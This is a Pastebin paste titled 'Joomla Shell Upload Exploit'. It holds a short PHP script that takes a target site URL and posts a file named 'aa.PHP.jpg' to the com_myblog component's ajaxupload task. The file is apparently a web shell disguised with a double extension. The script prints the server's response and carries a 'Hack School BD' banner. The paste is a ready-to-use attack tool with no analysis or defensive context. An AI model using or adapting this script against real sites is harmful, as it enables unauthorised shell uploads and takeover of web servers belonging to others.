SHARE
TWEET

Joomla Shell Upload Exploit

cyberworm Aug 28th, 2015 338 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2.  
  3. print "
  4.        [+][+][+][+][+][+][+][+][+][+][+][+][+]
  5.        [+]                                 [+]
  6.        [+]   *** Hack School BD ***        [+]
  7.        [+]      Exploit Joomla Upload      [+]
  8.        [+]    FB:fb.me/bb.benjamin101      [+]
  9.        [+]                                 [+]
  10.        [+][+][+][+][+][+][+][+][+][+][+][+][+]
  11.  ";
  12.     $ur = isset($argv[1]) && strstr($argv[1], 'http') ? $argv[1] : "http://{$argv[1]}";
  13.     $argv[1] = $ur;
  14.  
  15.     $uploadfile="aa.PHP.jpg";    
  16.        
  17.     $ch = curl_init("$argv[1]/index.php?option=com_myblog&task=ajaxupload");
  18.     curl_setopt($ch, CURLOPT_POST, true);
  19.     curl_setopt($ch, CURLOPT_POSTFIELDS,
  20.     array('fileToUpload'=>"@$uploadfile"));
  21.     curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  22.     $postResult = curl_exec($ch);
  23.     curl_close($ch);
  24.     print "$postResult";
  25.  
  26. ?>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top